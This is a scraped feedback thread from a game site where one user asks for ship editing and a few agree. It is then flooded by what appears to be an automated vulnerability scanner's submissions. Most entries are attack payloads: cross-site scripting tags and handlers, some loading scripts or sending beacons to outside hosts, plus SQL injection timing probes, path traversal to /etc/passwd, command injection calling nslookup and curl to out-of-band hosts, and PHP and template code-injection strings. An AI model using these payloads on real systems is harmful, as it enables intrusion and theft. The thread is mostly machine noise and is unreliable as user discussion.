Feedback

omfg by Russellmichael13 - 160 months ago

can u pls make it so u can edit, rename, and delete ships.

• nba king

  Yeah its really irritating me

• MassMurdererOver9000

  Me too

• ilomilo 123

  me too

• Amarnes

  same

• lxbfYeaa

  1

• lxbfYeaa

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1Bc0G2yHPiO

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• 165lLC8t4O

  1

• WfxYANoW

  ${9999549+10000414}

• ${10000146+10000137}

  1

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  Http://bxss.me/t/fit.txt

• Anonymous

  1

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  /etc/shells

• WfxYANoW

  response.write(9400273*9879949)

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  '+response.write(9400273*9879949)+'

• WfxYANoW

  "+response.write(9400273*9879949)+"

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  echo nnkzib$()\ fdgvtv\nz^xyu||a #' &echo nnkzib$()\ fdgvtv\nz^xyu||a #|" &echo nnkzib$()\ fdgvtv\nz^xyu||a #

• response.write(9909456*9104312)

  1

• WfxYANoW

  1

• '+response.write(9909456*9104312)+'

  1

• WfxYANoW

  1&n930179=v994226

• WfxYANoW

  3ETyowTh

• "+response.write(9909456*9104312)+"

  1

• WfxYANoW

  &echo xvwqzf$()\ vhwxqb\nz^xyu||a #' &echo xvwqzf$()\ vhwxqb\nz^xyu||a #|" &echo xvwqzf$()\ vhwxqb\nz^xyu||a #

• QXc5cTRNMm0=

  1

• WfxYANoW

  aNckLrRd: ZmJLmUzN

• WfxYANoW

  1&echo xroehs$()\ wimkhq\nz^xyu||a #' &echo xroehs$()\ wimkhq\nz^xyu||a #|" &echo xroehs$()\ wimkhq\nz^xyu||a #

• WfxYANoW

  )

• WfxYANoW

  ../1

• WfxYANoW

  |echo kplfxn$()\ arjlmo\nz^xyu||a #' |echo kplfxn$()\ arjlmo\nz^xyu||a #|" |echo kplfxn$()\ arjlmo\nz^xyu||a #

• BfQES6xS

  1

• WfxYANoW&n939889=v947356

  1

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  1|echo hkqsox$()\ ixxqzi\nz^xyu||a #' |echo hkqsox$()\ ixxqzi\nz^xyu||a #|" |echo hkqsox$()\ ixxqzi\nz^xyu||a #

• WfxYANoW

  bxss.me

• QOL0PkkQ: vX4nx93f

  1

• file:///etc/passwd

  1

• WfxYANoW

  ^(#$!@#$)(()))******

• WfxYANoW

  (nslookup -q=cname hitmwcaimoyfs06565.bxss.me||curl hitmwcaimoyfs06565.bxss.me))

• WfxYANoW

  '.gethostbyname(lc('hitlq'.'stgyogcuc0e4c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(76).chr(102).chr(66).'

• WfxYANoW

  1

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• )

  1

• WfxYANoW

  1

• WfxYANoW

  $(nslookup -q=cname hitgqznxvvzkr3f705.bxss.me||curl hitgqznxvvzkr3f705.bxss.me)

• !(()&&!|*|*|

  1

• Http://bxss.me/t/fit.txt

  1

• ../WfxYANoW

  1

• WfxYANoW

  ".gethostbyname(lc("hityv"."pthkhqdx9be5c.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(82).chr(105).chr(67)."

• WfxYANoW

  '"()

• ^(#$!@#$)(()))******

  1

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  &nslookup -q=cname hityucsaxhovf20e4e.bxss.me&'\"`0&nslookup -q=cname hityucsaxhovf20e4e.bxss.me&`'

• /etc/shells

  1

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  gethostbyname(lc('hitng'.'kvhjskoic0be6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(83).chr(101).chr(71)

• WfxYANoW

  1'&&sleep(27*1000)*lmxilk&&'

• WfxYANoW

  1"&&sleep(27*1000)*iilhdw&&"

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  &(nslookup -q=cname hitrvssedvced16f03.bxss.me||curl hitrvssedvced16f03.bxss.me)&'\"`0&(nslookup -q=cname hitrvssedvced16f03.bxss.me||curl hitrvssedvced16f03.bxss.me)&`'

• WfxYANoW

  1'||sleep(27*1000)*jcycre||'

• c:/windows/win.ini

  1

• WfxYANoW

  ';print(md5(31337));$a='

• WfxYANoW

  1"||sleep(27*1000)*rqejfl||"

• WfxYANoW

  |(nslookup -q=cname hitllqrosjlsta1e52.bxss.me||curl hitllqrosjlsta1e52.bxss.me)

• xfs.bxss.me

  1

• WfxYANoW

  ";print(md5(31337));$a="

• WfxYANoW

  '"

• bxss.me

  1

• WfxYANoW

  1

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  1

• WfxYANoW

  <!--

• WfxYANoW

  1'"()&%<zzz><ScRiPt >0qmQ(9965)</ScRiPt>

• '"

  1

• '"()

  1

• WfxYANoW

  bxss.me/t/xss.html?%00

• WfxYANoW'&&sleep(27*1000)*qhxyqy&&'

  1

• WfxYANoW

  '"()&%<zzz><ScRiPt >0qmQ(9303)</ScRiPt>

• WfxYANoW

  ${@print(md5(31337))}

• HttP://bxss.me/t/xss.html?%00

  1

• <!--

  1

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW

  19318900

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(105).concat(72).concat(115).concat(74)+(require"socket" Socket.gethostbyname("hitzy"+"oghidtjt3e37d.bxss.me.")[3].to_s)+"

• bxss.me/t/xss.html?%00

  1

• WfxYANoW

  `(nslookup -q=cname hitvvqkhhqfypa437a.bxss.me||curl hitvvqkhhqfypa437a.bxss.me)`

• WfxYANoW"&&sleep(27*1000)*ikezra&&"

  1

• WfxYANoW'||sleep(27*1000)*jyejqj||'

  1

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(97).concat(65).concat(109).concat(73)+(require'socket' Socket.gethostbyname('hittg'+'nrxrggft4add0.bxss.me.')[3].to_s)+'

• WfxYANoW"||sleep(27*1000)*qrvcra||"

  1

• WfxYANoW

  comment

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  ;(nslookup -q=cname hitvtmrrdufljf1386.bxss.me||curl hitvtmrrdufljf1386.bxss.me)|(nslookup -q=cname hitvtmrrdufljf1386.bxss.me||curl hitvtmrrdufljf1386.bxss.me)&(nslookup -q=cname hitvtmrrdufljf1386.bxss.me||curl hitvtmrrdufljf1386.bxss.me)

• WfxYANoW

  comment

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(99).concat(79).concat(97).concat(77)+(require'socket' Socket.gethostbyname('hitel'+'ubzmsxdgae942.bxss.me.')[3].to_s)

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitorkhdnpiya3222e.bxss.me||curl${IFS}hitorkhdnpiya3222e.bxss.me)

• WfxYANoW

  bfg4329＜s1﹥s2ʺs3ʹhjl4329

• WfxYANoW

  comment/.

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitalxbuvjqts40e07.bxss.me||curl${IFS}hitalxbuvjqts40e07.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitalxbuvjqts40e07.bxss.me||curl${IFS}hitalxbuvjqts40e07.bxss.me)&`'

• comment

  1

• comment

  1

• ';print(md5(31337));$a='

  1

• comment/.

  1

• ";print(md5(31337));$a="

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• ${@print(md5(31337))}

  1

• ${@print(md5(31337))}\

  1

• '.print(md5(31337)).'

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >0qmQ(9090)</ScRiPt>

• WfxYANoW

  1<WIU8OP>7RXGZ[!+!]</WIU8OP>

• WfxYANoW

  1<script>0qmQ(9518)</script>

• WfxYANoW

  1<script>0qmQ(9165)</script>9165

• WfxYANoW

  1<ScR<ScRiPt>IpT>0qmQ(9362)</sCr<ScRiPt>IpT>

• WfxYANoW

  1

• WfxYANoW

  1<ScRiPt >0qmQ(9679)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9969></ScRiPt>

• WfxYANoW

  1<ScRiPt >0qmQ(9072)</ScRiPt>

• WfxYANoW

  1<isindex type=image src=1 onerror=0qmQ(9961)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9099'>

• WfxYANoW

  1<body onload=0qmQ(9044)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=0qmQ(9217)>

• WfxYANoW

  1<img src=xyz OnErRor=0qmQ(9134)>

• WfxYANoW

  1<img/src=">" onerror=alert(9347)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%30%71%6D%51%289848%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\0qmQ(9443)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;0qmQ(9286)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=0qmQ(9276)>

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  1VTCTdnZ8

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1}body{zzz:Expre/**/SSion(0qmQ(9433))}

• WfxYANoW

  1OnATe <ScRiPt >0qmQ(9569)</ScRiPt>

• WfxYANoW

  1<W7FORI>FPS5Z[!+!]</W7FORI>

• WfxYANoW

  1<ifRAme sRc=9737.com></IfRamE>

• WfxYANoW

  1<a0DvxRy x=9875>

• WfxYANoW

  1<img sRc='http://attacker-9333/log.php?

• WfxYANoW

  1<adjVYPH<

• WfxYANoW'"()&%<zzz><ScRiPt >0qmQ(9334)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >0qmQ(9780)</ScRiPt>

  1

• WfxYANoW9237592

  1

• bfg2495＜s1﹥s2ʺs3ʹhjl2495

  1

• <%={{={@{#{${dfb}}%>

  1

• WfxYANoW

  1

• WfxYANoW

  -1 OR 2+537-537-1=0+0+0+1 --

• <th:t="${dfb}#foreach

  1

• WfxYANoW

  -1 OR 2+381-381-1=0+0+0+1

• WfxYANoW

  -1' OR 2+483-483-1=0+0+0+1 --

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• WfxYANoW

  -1' OR 2+330-330-1=0+0+0+1 or 'uTlGiC1Y'='

• WfxYANoW

  -1" OR 2+62-62-1=0+0+0+1 --

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >0qmQ(9571)</ScRiPt>

  1

• WfxYANoW<WUVZOF>SIP2E[!+!]</WUVZOF>

  1

• WfxYANoW<script>0qmQ(9056)</script>

  1

• WfxYANoW<script>0qmQ(9208)</script>9208

  1

• WfxYANoW<ScRiPt >0qmQ(9975)</ScRiPt>

  1

• WfxYANoW<ScRiPt >0qmQ(9520)</ScRiPt>

  1

• WfxYANoW<body onload=0qmQ(9510)>

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• WfxYANoW<img src=xyz OnErRor=0qmQ(9421)>

  1

• WfxYANoW<img/src=">" onerror=alert(9300)>

  1

• WfxYANoW\u003CScRiPt\0qmQ(9083)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;0qmQ(9141)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=0qmQ(9917)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(0qmQ(9060))}

  1

• WfxYANoWUoHn4 <ScRiPt >0qmQ(9546)</ScRiPt>

  1

• WfxYANoW<WOEN6X>HLONW[!+!]</WOEN6X>

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW<ifRAme sRc=9130.com></IfRamE>

  1

• WfxYANoW<aFMPXmO x=9149>

  1

• WfxYANoW<img sRc='http://attacker-9265/log.php?

  1

• WfxYANoW<amnwpRB<

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1TTgCtbvD'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 376=(SELECT 376 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 644=(SELECT 644 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 422=(SELECT 422 FROM PG_SLEEP(15))--

• WfxYANoW

  1Jcnay9qz' OR 727=(SELECT 727 FROM PG_SLEEP(15))--

• WfxYANoW

  1od4iC8kY') OR 209=(SELECT 209 FROM PG_SLEEP(15))--

• WfxYANoW

  1x3qPco9K')) OR 798=(SELECT 798 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@US7Fn

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWNeYObk4P

  1

• WfxYANoW

  1

• -1 OR 2+851-851-1=0+0+0+1 --

  1

• -1 OR 2+402-402-1=0+0+0+1

  1

• -1' OR 2+409-409-1=0+0+0+1 --

  1

• -1' OR 2+483-483-1=0+0+0+1 or 'VUKp0ZKr'='

  1

• -1" OR 2+276-276-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoWZUTf7EyI'; waitfor delay '0:0:15' --

  1

• WfxYANoWdxxXZJ8b'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@qaeJa

  1

• Peter Winter

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• wntgvmyk

  1

• ddqygeqh

  response.write(9967360*9314433)

• chqibsqm

  1

• ddqygeqh

  '+response.write(9967360*9314433)+'

• chqibsqm

  1

• ddqygeqh

  "+response.write(9967360*9314433)+"

• bsbcomxs

  set|set&set

• chqibsqm

  21ANJe1q

• response.write(9515328*9756377)

  1

• bsbcomxs

  $(nslookup u5cF3Rrr)

• chqibsqm

  -1 OR 2+278-278-1=0+0+0+1 --

• '+response.write(9515328*9756377)+'

  1

• bsbcomxs

  &nslookup faPUxgxT&'\"`0&nslookup faPUxgxT&`'

• chqibsqm

  -1 OR 2+619-619-1=0+0+0+1

• "+response.write(9515328*9756377)+"

  1

• set|set&set

  1

• chqibsqm

  -1' OR 2+634-634-1=0+0+0+1 --

• wxkropgm

  ZCh6Uqxm

• nhpadblw

  ../../../../../../../../../../etc/passwd

• aewgnwqy

  1

• $(nslookup aXrXOdkf)

  1

• chqibsqm

  -1' OR 2+261-261-1=0+0+0+1 or 'Q0WCVAew'='

• bVUbdeEh

  1

• nhpadblw

  ../../../../../../../../../../../../../../../proc/version

• nhbmsbfw

  ${9999511+10000176}

• ujfuiemo

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• &nslookup 4U7EjF1X&'\"`0&nslookup 4U7EjF1X&`'

  1

• chqibsqm

  -1" OR 2+878-878-1=0+0+0+1 --

• Rm1hd2p4OGg=

  1

• nhpadblw

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• ${9999578+9999968}

  1

• ujfuiemo

  1some_inexistent_file_with_long_name.jpg

• stflkpia

  1&n977477=v996431

• chqibsqm

  if(now()=sysdate(),sleep(8),0)/*'XOR(if(now()=sysdate(),sleep(8),0))OR'"XOR(if(now()=sysdate(),sleep(8),0))OR"*/

• maxykpjp

  )

• nhpadblw

  ../../../../../../../../../../etc/passwd.jpg

• ujfuiemo

  Http://testasp.vulnweb.com/t/fit.txt

• chqibsqm

  (select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/

• maxykpjp

  !(()&&!|*|*|

• nhpadblw

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• aewgnwqy

  1

• fdlvdmvj

  '"()

• ujfuiemo

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• quurdkpk&n971309=v991020

  1

• fkfwyrbi

  ;print(md5(acunetix_wvs_security_test));

• chqibsqm

  -1; waitfor delay '0:0:12' --

• maxykpjp

  ^(#$!@#$)(()))******

• nhpadblw

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• Anonymous

  1

• ujfuiemo

  testasp.vulnweb.com

• fkfwyrbi

  ';print(md5(acunetix_wvs_security_test));$a='

• chqibsqm

  -1); waitfor delay '0:0:12' --

• )

  1

• nhpadblw

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• '"()

  1

• mpycsmqs

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• fkfwyrbi

  ";print(md5(acunetix_wvs_security_test));$a="

• chqibsqm

  1 waitfor delay '0:0:12' --

• !(()&&!|*|*|

  1

• nhpadblw

  /etc/passwd

• opvnaens

  1

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• 1some_inexistent_file_with_long_name.jpg

  1

• fkfwyrbi

  ${@print(md5(acunetix_wvs_security_test))}

• chqibsqm

  4qITDME2'; waitfor delay '0:0:12' --

• ^(#$!@#$)(()))******

  1

• nhpadblw

  %2fetc%2fpasswd

• wrqjfpfj

  http://hitfqg2bdAK8D.bxss.me/

• opvnaens

  comment

• tssdkugn

  1

• Http://testasp.vulnweb.com/t/fit.txt

  1

• fkfwyrbi

  ${@print(md5(acunetix_wvs_security_test))}\

• chqibsqm

  -1;select pg_sleep(12); --

• oipnjyga

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• nhpadblw

  /.././.././.././.././.././.././.././../etc/./passwd%00

• http://hiti6wfc34WoA.bxss.me/

  1

• opvnaens

  comment

• tssdkugn

  1'"

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• ;print(md5(acunetix_wvs_security_test));

  1

• chqibsqm

  -1);select pg_sleep(4); --

• nhpadblw

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• llowhsqg

  /www.vulnweb.com

• opvnaens

  comment/.

• tssdkugn

  \

• testasp.vulnweb.com

  1

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• chqibsqm

  -1);select pg_sleep(0); --

• nhpadblw

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• /www.vulnweb.com

  1

• opvnaens

  1

• lwdfptdx

  '"

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• chqibsqm

  -1));select pg_sleep(4); --

• wtvethmw

  1'"()&%<acx><ScRiPt >2Ns7(9003)</ScRiPt>

• comment

  1

• tssdkugn

  @@NCLV7

• lwdfptdx

  <!--

• ${@print(md5(acunetix_wvs_security_test))}

  1

• chqibsqm

  -1));select pg_sleep(0); --

• nhpadblw

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• comment

  1

• tssdkugn

  JyI=

• '"

  1

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• chqibsqm

  iPMAWjCw';select pg_sleep(4); --

• wtvethmw

  '"()&%<acx><ScRiPt >2Ns7(9389)</ScRiPt>

• nhpadblw

  file:///etc/passwd

• comment/.

  1

• <!--

  1

• chqibsqm

  T7tp1aEy';select pg_sleep(8); --

• nhpadblw

  /\../\../\../\../\../\../\../etc/passwd

• chqibsqm

  OQwEDEYw');select pg_sleep(4); --

• wtvethmw

  1_9016

• nhpadblw

  WEB-INF/web.xml

• tssdkugn

  (select convert(int,CHAR(65)))

• chqibsqm

  qe9G838P'));select pg_sleep(4); --

• nhpadblw

  /WEB-INF/web.xml

• tssdkugn

  1

• chqibsqm

  1

• wtvethmw

  acu3681＜s1﹥s2ʺs3ʹuca3681

• nhpadblw

  WEB-INF\web.xml

• 1'"

  1

• chqibsqm

  1

• ../../../../../../../../../../etc/passwd

  1

• \

  1

• UaNoOX8Z

  1

• -1 OR 2+771-771-1=0+0+0+1 --

  1

• @@CeDiK

  1

• -1 OR 2+857-857-1=0+0+0+1

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• wtvethmw

  {{9999702*10000028}}

• JyI=

  1

• -1' OR 2+991-991-1=0+0+0+1 --

  1

• -1' OR 2+172-172-1=0+0+0+1 or 'OOdefY2X'='

  1

• wtvethmw

  1<ScRiPt >2Ns7(9011)</ScRiPt>

• -1" OR 2+493-493-1=0+0+0+1 --

  1

• (select convert(int,CHAR(65)))

  1

• 1 waitfor delay '0:0:12' --

  1

• tnjqEdwd'; waitfor delay '0:0:4' --

  1

• wtvethmw

  1<WMMSNG>MQSAE[!+!]</WMMSNG>

• qlKHIl1q';select pg_sleep(4); --

  1

• K1pkwrMg');select pg_sleep(4); --

  1

• PweVOVsj'));select pg_sleep(4); --

  1

• wtvethmw

  1<script>2Ns7(9320)</script>

• wtvethmw

  1<ScR<ScRiPt>IpT>2Ns7(9078)</sCr<ScRiPt>IpT>

• wtvethmw

  1<ScRiPt >2Ns7(9620)</ScRiPt>

• wtvethmw

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9821></ScRiPt>

• wtvethmw

  1<ScRiPt >2Ns7(9364)</ScRiPt>

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• /etc/passwd

  1

• %2fetc%2fpasswd

  1

• wtvethmw

  1<video><source onerror="javascript:2Ns7(9997)">

• wtvethmw

  1<isindex type=image src=1 onerror=2Ns7(9940)>

• file:///etc/passwd

  1

• /\../\../\../\../\../\../\../etc/passwd

  1

• wtvethmw

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9093'>

• WEB-INF/web.xml

  1

• /WEB-INF/web.xml

  1

• wtvethmw

  1<body onload=2Ns7(9772)>

• WEB-INF\web.xml

  1

• wtvethmw

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=2Ns7(9825)>

• wtvethmw

  1<img src=xyz OnErRor=2Ns7(9116)>

• wtvethmw

  1<img/src=">" onerror=alert(9124)>

• wtvethmw

  %31%3C%53%63%52%69%50%74%20%3E%32%4E%73%37%289302%29%3C%2F%73%43%72%69%70%54%3E

• wtvethmw

  1\u003CScRiPt\2Ns7(9238)\u003C/sCripT\u003E

• wtvethmw

  1&lt;ScRiPt&gt;2Ns7(9165)&lt;/sCripT&gt;

• wtvethmw

  1<input autofocus onfocus=2Ns7(9586)>

• wtvethmw

  <a HrEF=http://www.vulnweb.com></a>

• wtvethmw

  <a HrEF=jaVaScRiPT:>

• wtvethmw

  [url=http://www.vulnweb.com][/url]

• wtvethmw

  1<img<!-- --> src=x onerror=alert(9204);//><!-- -->

• wtvethmw

  1}body{acu:Expre/**/SSion(2Ns7(9680))}

• wtvethmw

  1<% contenteditable onresize=2Ns7(9169)>

• wtvethmw

  1_vTGBX <ScRiPt >2Ns7(9774)</ScRiPt>

• wtvethmw

  1<W1KCRT>FXJUO[!+!]</W1KCRT>

• wtvethmw

  1<ifRAme sRc=9325.com></IfRamE>

• wtvethmw

  1<xHYLNY x=9962>

• wtvethmw

  1<img sRc='http://attacker-9597/log.php?

• wtvethmw'"()&%<acx><ScRiPt >2Ns7(9918)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >2Ns7(9528)</ScRiPt>

  1

• wtvethmw_9919

  1

• acu4148＜s1﹥s2ʺs3ʹuca4148

  1

• {{9999759*10000122}}

  1

• wtvethmw<ScRiPt >2Ns7(9065)</ScRiPt>

  1

• wtvethmw<WQF5AO>7TDEQ[!+!]</WQF5AO>

  1

• wtvethmw<script>2Ns7(9580)</script>

  1

• wtvethmw<ScRiPt >2Ns7(9727)</ScRiPt>

  1

• wtvethmw<ScRiPt >2Ns7(9477)</ScRiPt>

  1

• wtvethmw<body onload=2Ns7(9542)>

  1

• wtvethmw<img src=xyz OnErRor=2Ns7(9262)>

  1

• wtvethmw<img/src=">" onerror=alert(9960)>

  1

• wtvethmw\u003CScRiPt\2Ns7(9983)\u003C/sCripT\u003E

  1

• wtvethmw&lt;ScRiPt&gt;2Ns7(9873)&lt;/sCripT&gt;

  1

• wtvethmw<input autofocus onfocus=2Ns7(9243)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• wtvethmw}body{acu:Expre/**/SSion(2Ns7(9077))}

  1

• wtvethmw<% contenteditable onresize=2Ns7(9653)>

  1

• wtvethmw_GSJ9a <ScRiPt >2Ns7(9132)</ScRiPt>

  1

• wtvethmw<W2KCKR>Y1M9C[!+!]</W2KCKR>

  1

• wtvethmw<ifRAme sRc=9974.com></IfRamE>

  1

• wtvethmw<zWUDjo x=9904>

  1

• wtvethmw<img sRc='http://attacker-9993/log.php?

  1

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  1nIbIaWvv

• dwUQQUrL

  1

• dwUQQUrL

  -1 OR 2+705-705-1=0+0+0+1 --

• dwUQQUrL

  -1 OR 2+489-489-1=0+0+0+1

• dwUQQUrL

  -1' OR 2+730-730-1=0+0+0+1 --

• dwUQQUrL

  -1' OR 2+678-678-1=0+0+0+1 or 'G2ErQ2Wl'='

• dwUQQUrL

  -1" OR 2+317-317-1=0+0+0+1 --

• dwUQQUrL

  1*if(now()=sysdate(),sleep(15),0)

• dwUQQUrL

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• dwUQQUrL

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• dwUQQUrL

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• dwUQQUrL

  1-1; waitfor delay '0:0:15' --

• dwUQQUrL

  1-1); waitfor delay '0:0:15' --

• dwUQQUrL

  1-1 waitfor delay '0:0:15' --

• dwUQQUrL

  1HaD5o4go'; waitfor delay '0:0:15' --

• dwUQQUrL

  1-1 OR 206=(SELECT 206 FROM PG_SLEEP(15))--
